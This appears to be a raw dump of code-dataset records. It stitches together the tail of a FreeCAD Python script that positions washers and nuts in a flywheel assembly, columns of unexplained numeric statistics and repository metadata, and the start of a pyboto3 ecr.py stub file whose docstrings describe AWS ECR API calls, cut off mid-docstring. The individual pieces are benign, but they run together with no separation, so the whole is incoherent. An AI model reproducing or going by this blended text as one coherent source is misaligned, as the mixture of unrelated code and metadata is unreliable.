(0.10,0.20,0.40) FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel0" + str(i)).Placement = App.Placement(App.Vector(0,0,z),App.Rotation(App.Vector(0,0,1),0)) setview() # part_rondelle_20m Mesh.insert(u"part_rondelle_20m.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("part_rondelle_20m").ShapeColor = (0.90,0.70,0.50) FreeCAD.getDocument("assembly_flywheel").getObject("part_rondelle_20m").Placement = App.Placement(App.Vector(600,35,70*6 + 20),App.Rotation(App.Vector(0,0,1),0)) # part_rondelle_20m Mesh.insert(u"part_rondelle_20m.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("part_rondelle_20m001").ShapeColor = (0.90,0.70,0.50) FreeCAD.getDocument("assembly_flywheel").getObject("part_rondelle_20m001").Placement = App.Placement(App.Vector(600,35,-70*6 - 3),App.Rotation(App.Vector(0,0,1),0)) # part_ecrou_20m Mesh.insert(u"part_ecrou_20m.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("part_ecrou_20m").ShapeColor = (0.30,0.60,0.90) FreeCAD.getDocument("assembly_flywheel").getObject("part_ecrou_20m").Placement = App.Placement(App.Vector(600,35,70*6 + 20 + 3),App.Rotation(App.Vector(0,0,1),0)) # part_ecrou_20m Mesh.insert(u"part_ecrou_20m.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("part_ecrou_20m001").ShapeColor = (0.30,0.60,0.90) FreeCAD.getDocument("assembly_flywheel").getObject("part_ecrou_20m001").Placement = App.Placement(App.Vector(600,35,-70*6 - 3 - 20),App.Rotation(App.Vector(0,0,1),0)) # Export assembly_flywheel __objs__=[] __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("part_tige_filetee_m20_1000l")) __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel")) for i in range(1, 10): __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel00" + str(i))) for i in range(10, 13): __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel0" + str(i))) __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("part_rondelle_20m")) __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("part_rondelle_20m001")) __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("part_ecrou_20m")) __objs__.append(FreeCAD.getDocument("assembly_flywheel").getObject("part_ecrou_20m001")) Mesh.export(__objs__,u"assembly_flywheel.stl") del __objs__
48.436893
175
0.762077
703
4,989
5.146515
0.13229
0.168049
0.19403
0.258706
0.840243
0.827529
0.827529
0.801824
0.787728
0.651465
0
0.066376
0.08198
4,989
103
176
48.436893
0.723581
0.05913
0
0.25
0
0
0.300726
0.117258
0
0
0
0
0
1
0.03125
false
0
0.015625
0
0.046875
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
cfab0fdfc2611f46311ab19beb73877ca0d0e6cf
99,369
py
Python
pyboto3/ecr.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
91
2016-12-31T11:38:37.000Z
2021-09-16T19:33:23.000Z
pyboto3/ecr.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
7
2017-01-02T18:54:23.000Z
2020-08-11T13:54:02.000Z
pyboto3/ecr.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
26
2016-12-31T13:11:00.000Z
2022-03-03T21:01:12.000Z
''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def batch_check_layer_availability(registryId=None, repositoryName=None, layerDigests=None): """ Checks the availability of one or more image layers in a repository. When an image is pushed to a repository, each image layer is checked to verify if it has been uploaded before. If it has been uploaded, then the image layer is skipped. See also: AWS API Documentation Exceptions :example: response = client.batch_check_layer_availability( registryId='string', repositoryName='string', layerDigests=[ 'string', ] ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the image layers to check. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository that is associated with the image layers to check.\n :type layerDigests: list :param layerDigests: [REQUIRED]\nThe digests of the image layers to check.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax { 'layers': [ { 'layerDigest': 'string', 'layerAvailability': 'AVAILABLE'|'UNAVAILABLE', 'layerSize': 123, 'mediaType': 'string' }, ], 'failures': [ { 'layerDigest': 'string', 'failureCode': 'InvalidLayerDigest'|'MissingLayerDigest', 'failureReason': 'string' }, ] } Response Structure (dict) -- layers (list) -- A list of image layer objects corresponding to the image layer references in the request. (dict) -- An object representing an Amazon ECR image layer. layerDigest (string) -- The sha256 digest of the image layer. layerAvailability (string) -- The availability status of the image layer. layerSize (integer) -- The size, in bytes, of the image layer. mediaType (string) -- The media type of the layer, such as application/vnd.docker.image.rootfs.diff.tar.gzip or application/vnd.oci.image.layer.v1.tar+gzip . failures (list) -- Any failures associated with the call. (dict) -- An object representing an Amazon ECR image layer failure. layerDigest (string) -- The layer digest associated with the failure. failureCode (string) -- The failure code associated with the failure. failureReason (string) -- The reason for the failure. Exceptions ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.ServerException :return: { 'layers': [ { 'layerDigest': 'string', 'layerAvailability': 'AVAILABLE'|'UNAVAILABLE', 'layerSize': 123, 'mediaType': 'string' }, ], 'failures': [ { 'layerDigest': 'string', 'failureCode': 'InvalidLayerDigest'|'MissingLayerDigest', 'failureReason': 'string' }, ] } :returns: ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.ServerException """ pass def batch_delete_image(registryId=None, repositoryName=None, imageIds=None): """ Deletes a list of specified images within a repository. Images are specified with either an imageTag or imageDigest . You can remove a tag from an image by specifying the image\'s tag in your request. When you remove the last tag from an image, the image is deleted from your repository. You can completely delete an image (and all of its tags) by specifying the image\'s digest in your request. See also: AWS API Documentation Exceptions Examples This example deletes images with the tags precise and trusty in a repository called ubuntu in the default registry for an account. Expected Output: :example: response = client.batch_delete_image( registryId='string', repositoryName='string', imageIds=[ { 'imageDigest': 'string', 'imageTag': 'string' }, ] ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the image to delete. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe repository that contains the image to delete.\n :type imageIds: list :param imageIds: [REQUIRED]\nA list of image ID references that correspond to images to delete. The format of the imageIds reference is imageTag=tag or imageDigest=digest .\n\n(dict) --An object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'imageIds': [ { 'imageDigest': 'string', 'imageTag': 'string' }, ], 'failures': [ { 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'failureCode': 'InvalidImageDigest'|'InvalidImageTag'|'ImageTagDoesNotMatchDigest'|'ImageNotFound'|'MissingDigestAndTag'|'ImageReferencedByManifestList', 'failureReason': 'string' }, ] } Response Structure (dict) -- imageIds (list) -- The image IDs of the deleted images. (dict) -- An object with identifying information for an Amazon ECR image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. failures (list) -- Any failures associated with the call. (dict) -- An object representing an Amazon ECR image failure. imageId (dict) -- The image ID associated with the failure. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. failureCode (string) -- The code associated with the failure. failureReason (string) -- The reason for the failure. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException Examples This example deletes images with the tags precise and trusty in a repository called ubuntu in the default registry for an account. response = client.batch_delete_image( imageIds=[ { 'imageTag': 'precise', }, ], repositoryName='ubuntu', ) print(response) Expected Output: { 'failures': [ ], 'imageIds': [ { 'imageDigest': 'sha256:examplee6d1e504117a17000003d3753086354a38375961f2e665416ef4b1b2f', 'imageTag': 'precise', }, ], 'ResponseMetadata': { '...': '...', }, } :return: { 'imageIds': [ { 'imageDigest': 'string', 'imageTag': 'string' }, ], 'failures': [ { 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'failureCode': 'InvalidImageDigest'|'InvalidImageTag'|'ImageTagDoesNotMatchDigest'|'ImageNotFound'|'MissingDigestAndTag'|'ImageReferencedByManifestList', 'failureReason': 'string' }, ] } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def batch_get_image(registryId=None, repositoryName=None, imageIds=None, acceptedMediaTypes=None): """ Gets detailed information for an image. Images are specified with either an imageTag or imageDigest . When an image is pulled, the BatchGetImage API is called once to retrieve the image manifest. See also: AWS API Documentation Exceptions Examples This example obtains information for an image with a specified image digest ID from the repository named ubuntu in the current account. Expected Output: :example: response = client.batch_get_image( registryId='string', repositoryName='string', imageIds=[ { 'imageDigest': 'string', 'imageTag': 'string' }, ], acceptedMediaTypes=[ 'string', ] ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the images to describe. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe repository that contains the images to describe.\n :type imageIds: list :param imageIds: [REQUIRED]\nA list of image ID references that correspond to images to describe. The format of the imageIds reference is imageTag=tag or imageDigest=digest .\n\n(dict) --An object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n\n\n :type acceptedMediaTypes: list :param acceptedMediaTypes: The accepted media types for the request.\nValid values: application/vnd.docker.distribution.manifest.v1+json | application/vnd.docker.distribution.manifest.v2+json | application/vnd.oci.image.manifest.v1+json\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax { 'images': [ { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageManifest': 'string', 'imageManifestMediaType': 'string' }, ], 'failures': [ { 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'failureCode': 'InvalidImageDigest'|'InvalidImageTag'|'ImageTagDoesNotMatchDigest'|'ImageNotFound'|'MissingDigestAndTag'|'ImageReferencedByManifestList', 'failureReason': 'string' }, ] } Response Structure (dict) -- images (list) -- A list of image objects corresponding to the image references in the request. (dict) -- An object representing an Amazon ECR image. registryId (string) -- The AWS account ID associated with the registry containing the image. repositoryName (string) -- The name of the repository associated with the image. imageId (dict) -- An object containing the image tag and image digest associated with an image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. imageManifest (string) -- The image manifest associated with the image. imageManifestMediaType (string) -- The media type associated with the image manifest. failures (list) -- Any failures associated with the call. (dict) -- An object representing an Amazon ECR image failure. imageId (dict) -- The image ID associated with the failure. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. failureCode (string) -- The code associated with the failure. failureReason (string) -- The reason for the failure. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException Examples This example obtains information for an image with a specified image digest ID from the repository named ubuntu in the current account. response = client.batch_get_image( imageIds=[ { 'imageTag': 'precise', }, ], repositoryName='ubuntu', ) print(response) Expected Output: { 'failures': [ ], 'images': [ { 'imageId': { 'imageDigest': 'sha256:example76bdff6d83a09ba2a818f0d00000063724a9ac3ba5019c56f74ebf42a', 'imageTag': 'precise', }, 'imageManifest': '{\ "schemaVersion": 1,\ "name": "ubuntu",\ "tag": "precise",\ ...', 'registryId': '244698725403', 'repositoryName': 'ubuntu', }, ], 'ResponseMetadata': { '...': '...', }, } :return: { 'images': [ { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageManifest': 'string', 'imageManifestMediaType': 'string' }, ], 'failures': [ { 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'failureCode': 'InvalidImageDigest'|'InvalidImageTag'|'ImageTagDoesNotMatchDigest'|'ImageNotFound'|'MissingDigestAndTag'|'ImageReferencedByManifestList', 'failureReason': 'string' }, ] } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). """ pass def complete_layer_upload(registryId=None, repositoryName=None, uploadId=None, layerDigests=None): """ Informs Amazon ECR that the image layer upload has completed for a specified registry, repository name, and upload ID. You can optionally provide a sha256 digest of the image layer for data validation purposes. When an image is pushed, the CompleteLayerUpload API is called once per each new image layer to verify that the upload has completed. See also: AWS API Documentation Exceptions :example: response = client.complete_layer_upload( registryId='string', repositoryName='string', uploadId='string', layerDigests=[ 'string', ] ) :type registryId: string :param registryId: The AWS account ID associated with the registry to which to upload layers. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to associate with the image layer.\n :type uploadId: string :param uploadId: [REQUIRED]\nThe upload ID from a previous InitiateLayerUpload operation to associate with the image layer.\n :type layerDigests: list :param layerDigests: [REQUIRED]\nThe sha256 digest of the image layer.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'uploadId': 'string', 'layerDigest': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. uploadId (string) -- The upload ID associated with the layer. layerDigest (string) -- The sha256 digest of the image layer. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.UploadNotFoundException ECR.Client.exceptions.InvalidLayerException ECR.Client.exceptions.LayerPartTooSmallException ECR.Client.exceptions.LayerAlreadyExistsException ECR.Client.exceptions.EmptyUploadException :return: { 'registryId': 'string', 'repositoryName': 'string', 'uploadId': 'string', 'layerDigest': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.UploadNotFoundException ECR.Client.exceptions.InvalidLayerException ECR.Client.exceptions.LayerPartTooSmallException ECR.Client.exceptions.LayerAlreadyExistsException ECR.Client.exceptions.EmptyUploadException """ pass def create_repository(repositoryName=None, tags=None, imageTagMutability=None, imageScanningConfiguration=None): """ Creates a repository. For more information, see Amazon ECR Repositories in the Amazon Elastic Container Registry User Guide . See also: AWS API Documentation Exceptions Examples This example creates a repository called nginx-web-app inside the project-a namespace in the default registry for an account. Expected Output: :example: response = client.create_repository( repositoryName='string', tags=[ { 'Key': 'string', 'Value': 'string' }, ], imageTagMutability='MUTABLE'|'IMMUTABLE', imageScanningConfiguration={ 'scanOnPush': True|False } ) :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name to use for the repository. The repository name may be specified on its own (such as nginx-web-app ) or it can be prepended with a namespace to group the repository into a category (such as project-a/nginx-web-app ).\n :type tags: list :param tags: The metadata that you apply to the repository to help you categorize and organize them. Each tag consists of a key and an optional value, both of which you define. Tag keys can have a maximum character length of 128 characters, and tag values can have a maximum length of 256 characters.\n\n(dict) --The metadata that you apply to a resource to help you categorize and organize them. Each tag consists of a key and an optional value, both of which you define. Tag keys can have a maximum character length of 128 characters, and tag values can have a maximum length of 256 characters.\n\nKey (string) --One part of a key-value pair that make up a tag. A key is a general label that acts like a category for more specific tag values.\n\nValue (string) --The optional part of a key-value pair that make up a tag. A value acts as a descriptor within a tag category (key).\n\n\n\n\n :type imageTagMutability: string :param imageTagMutability: The tag mutability setting for the repository. If this parameter is omitted, the default setting of MUTABLE will be used which will allow image tags to be overwritten. If IMMUTABLE is specified, all image tags within the repository will be immutable which will prevent them from being overwritten. :type imageScanningConfiguration: dict :param imageScanningConfiguration: The image scanning configuration for the repository. This setting determines whether images are scanned for known vulnerabilities after being pushed to the repository.\n\nscanOnPush (boolean) --The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API.\n\n\n :rtype: dict ReturnsResponse Syntax { 'repository': { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } } } Response Structure (dict) -- repository (dict) -- The repository that was created. repositoryArn (string) -- The Amazon Resource Name (ARN) that identifies the repository. The ARN contains the arn:aws:ecr namespace, followed by the region of the repository, AWS account ID of the repository owner, repository namespace, and repository name. For example, arn:aws:ecr:region:012345678910:repository/test . registryId (string) -- The AWS account ID associated with the registry that contains the repository. repositoryName (string) -- The name of the repository. repositoryUri (string) -- The URI for the repository. You can use this URI for Docker push or pull operations. createdAt (datetime) -- The date and time, in JavaScript date format, when the repository was created. imageTagMutability (string) -- The tag mutability setting for the repository. imageScanningConfiguration (dict) -- The image scanning configuration for a repository. scanOnPush (boolean) -- The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidTagParameterException ECR.Client.exceptions.TooManyTagsException ECR.Client.exceptions.RepositoryAlreadyExistsException ECR.Client.exceptions.LimitExceededException Examples This example creates a repository called nginx-web-app inside the project-a namespace in the default registry for an account. response = client.create_repository( repositoryName='project-a/nginx-web-app', ) print(response) Expected Output: { 'repository': { 'registryId': '012345678901', 'repositoryArn': 'arn:aws:ecr:us-west-2:012345678901:repository/project-a/nginx-web-app', 'repositoryName': 'project-a/nginx-web-app', }, 'ResponseMetadata': { '...': '...', }, } :return: { 'repository': { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } } } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.InvalidTagParameterException ECR.Client.exceptions.TooManyTagsException ECR.Client.exceptions.RepositoryAlreadyExistsException ECR.Client.exceptions.LimitExceededException """ pass def delete_lifecycle_policy(registryId=None, repositoryName=None): """ Deletes the lifecycle policy associated with the specified repository. See also: AWS API Documentation Exceptions :example: response = client.delete_lifecycle_policy( registryId='string', repositoryName='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'lastEvaluatedAt': datetime(2015, 1, 1) } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. lifecyclePolicyText (string) -- The JSON lifecycle policy text. lastEvaluatedAt (datetime) -- The time stamp of the last time that the lifecycle policy was run. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'lifecyclePolicyText': 'string', 'lastEvaluatedAt': datetime(2015, 1, 1) } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.LifecyclePolicyNotFoundException """ pass def delete_repository(registryId=None, repositoryName=None, force=None): """ Deletes a repository. If the repository contains images, you must either delete all images in the repository or use the force option to delete the repository. See also: AWS API Documentation Exceptions Examples This example force deletes a repository named ubuntu in the default registry for an account. The force parameter is required if the repository contains images. Expected Output: :example: response = client.delete_repository( registryId='string', repositoryName='string', force=True|False ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository to delete. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository to delete.\n :type force: boolean :param force: If a repository contains images, forces the deletion. :rtype: dict ReturnsResponse Syntax { 'repository': { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } } } Response Structure (dict) -- repository (dict) -- The repository that was deleted. repositoryArn (string) -- The Amazon Resource Name (ARN) that identifies the repository. The ARN contains the arn:aws:ecr namespace, followed by the region of the repository, AWS account ID of the repository owner, repository namespace, and repository name. For example, arn:aws:ecr:region:012345678910:repository/test . registryId (string) -- The AWS account ID associated with the registry that contains the repository. repositoryName (string) -- The name of the repository. repositoryUri (string) -- The URI for the repository. You can use this URI for Docker push or pull operations. createdAt (datetime) -- The date and time, in JavaScript date format, when the repository was created. imageTagMutability (string) -- The tag mutability setting for the repository. imageScanningConfiguration (dict) -- The image scanning configuration for a repository. scanOnPush (boolean) -- The setting that determines whether images are scanned after being pushed to a repository. If set to true , images will be scanned after being pushed. If this parameter is not specified, it will default to false and images will not be scanned unless a scan is manually started with the StartImageScan API. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryNotEmptyException Examples This example force deletes a repository named ubuntu in the default registry for an account. The force parameter is required if the repository contains images. response = client.delete_repository( force=True, repositoryName='ubuntu', ) print(response) Expected Output: { 'repository': { 'registryId': '012345678901', 'repositoryArn': 'arn:aws:ecr:us-west-2:012345678901:repository/ubuntu', 'repositoryName': 'ubuntu', }, 'ResponseMetadata': { '...': '...', }, } :return: { 'repository': { 'repositoryArn': 'string', 'registryId': 'string', 'repositoryName': 'string', 'repositoryUri': 'string', 'createdAt': datetime(2015, 1, 1), 'imageTagMutability': 'MUTABLE'|'IMMUTABLE', 'imageScanningConfiguration': { 'scanOnPush': True|False } } } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryNotEmptyException """ pass def delete_repository_policy(registryId=None, repositoryName=None): """ Deletes the repository policy associated with the specified repository. See also: AWS API Documentation Exceptions Examples This example deletes the policy associated with the repository named ubuntu in the current account. Expected Output: :example: response = client.delete_repository_policy( registryId='string', repositoryName='string' ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository policy to delete. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe name of the repository that is associated with the repository policy to delete.\n :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. policyText (string) -- The JSON repository policy that was deleted from the repository. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryPolicyNotFoundException Examples This example deletes the policy associated with the repository named ubuntu in the current account. response = client.delete_repository_policy( repositoryName='ubuntu', ) print(response) Expected Output: { 'policyText': '{ ... }', 'registryId': '012345678901', 'repositoryName': 'ubuntu', 'ResponseMetadata': { '...': '...', }, } :return: { 'registryId': 'string', 'repositoryName': 'string', 'policyText': 'string' } :returns: ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.RepositoryPolicyNotFoundException """ pass def describe_image_scan_findings(registryId=None, repositoryName=None, imageId=None, nextToken=None, maxResults=None): """ Returns the scan findings for the specified image. See also: AWS API Documentation Exceptions :example: response = client.describe_image_scan_findings( registryId='string', repositoryName='string', imageId={ 'imageDigest': 'string', 'imageTag': 'string' }, nextToken='string', maxResults=123 ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to describe the image scan findings for. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param repositoryName: [REQUIRED]\nThe repository for the image for which to describe the scan findings.\n :type imageId: dict :param imageId: [REQUIRED]\nAn object with identifying information for an Amazon ECR image.\n\nimageDigest (string) --The sha256 digest of the image manifest.\n\nimageTag (string) --The tag used for the image.\n\n\n :type nextToken: string :param nextToken: The nextToken value returned from a previous paginated DescribeImageScanFindings request where maxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the nextToken value. This value is null when there are no more results to return. :type maxResults: integer :param maxResults: The maximum number of image scan results returned by DescribeImageScanFindings in paginated output. When this parameter is used, DescribeImageScanFindings only returns maxResults results in a single page along with a nextToken response element. The remaining results of the initial request can be seen by sending another DescribeImageScanFindings request with the returned nextToken value. This value can be between 1 and 1000. If this parameter is not used, then DescribeImageScanFindings returns up to 100 results and a nextToken value, if applicable. :rtype: dict ReturnsResponse Syntax { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' }, 'imageScanFindings': { 'imageScanCompletedAt': datetime(2015, 1, 1), 'vulnerabilitySourceUpdatedAt': datetime(2015, 1, 1), 'findings': [ { 'name': 'string', 'description': 'string', 'uri': 'string', 'severity': 'INFORMATIONAL'|'LOW'|'MEDIUM'|'HIGH'|'CRITICAL'|'UNDEFINED', 'attributes': [ { 'key': 'string', 'value': 'string' }, ] }, ], 'findingSeverityCounts': { 'string': 123 } }, 'nextToken': 'string' } Response Structure (dict) -- registryId (string) -- The registry ID associated with the request. repositoryName (string) -- The repository name associated with the request. imageId (dict) -- An object with identifying information for an Amazon ECR image. imageDigest (string) -- The sha256 digest of the image manifest. imageTag (string) -- The tag used for the image. imageScanStatus (dict) -- The current state of the scan. status (string) -- The current state of an image scan. description (string) -- The description of the image scan status. imageScanFindings (dict) -- The information contained in the image scan findings. imageScanCompletedAt (datetime) -- The time of the last completed image scan. vulnerabilitySourceUpdatedAt (datetime) -- The time when the vulnerability data was last scanned. findings (list) -- The findings from the image scan. (dict) -- Contains information about an image scan finding. name (string) -- The name associated with the finding, usually a CVE number. description (string) -- The description of the finding. uri (string) -- A link containing additional details about the security vulnerability. severity (string) -- The finding severity. attributes (list) -- A collection of attributes of the host from which the finding is generated. (dict) -- This data type is used in the ImageScanFinding data type. key (string) -- The attribute key. value (string) -- The value assigned to the attribute key. findingSeverityCounts (dict) -- The image vulnerability counts, sorted by severity. (string) -- (integer) -- nextToken (string) -- The nextToken value to include in a future DescribeImageScanFindings request. When the results of a DescribeImageScanFindings request exceed maxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. Exceptions ECR.Client.exceptions.ServerException ECR.Client.exceptions.InvalidParameterException ECR.Client.exceptions.RepositoryNotFoundException ECR.Client.exceptions.ImageNotFoundException ECR.Client.exceptions.ScanNotFoundException :return: { 'registryId': 'string', 'repositoryName': 'string', 'imageId': { 'imageDigest': 'string', 'imageTag': 'string' }, 'imageScanStatus': { 'status': 'IN_PROGRESS'|'COMPLETE'|'FAILED', 'description': 'string' }, 'imageScanFindings': { 'imageScanCompletedAt': datetime(2015, 1, 1), 'vulnerabilitySourceUpdatedAt': datetime(2015, 1, 1), 'findings': [ { 'name': 'string', 'description': 'string', 'uri': 'string', 'severity': 'INFORMATIONAL'|'LOW'|'MEDIUM'|'HIGH'|'CRITICAL'|'UNDEFINED', 'attributes': [ { 'key': 'string', 'value': 'string' }, ] }, ], 'findingSeverityCounts': { 'string': 123 } }, 'nextToken': 'string' } :returns: (string) -- (integer) -- """ pass def describe_images(registryId=None, repositoryName=None, imageIds=None, nextToken=None, maxResults=None, filter=None): """ Returns metadata about the images in a repository. See also: AWS API Documentation Exceptions :example: response = client.describe_images( registryId='string', repositoryName='string', imageIds=[ { 'imageDigest': 'string', 'imageTag': 'string' }, ], nextToken='string', maxResults=123, filter={ 'tagStatus': 'TAGGED'|'UNTAGGED'|'ANY' } ) :type registryId: string :param registryId: The AWS account ID associated with the registry that contains the repository in which to describe images. If you do not specify a registry, the default registry is assumed. :type repositoryName: string :param 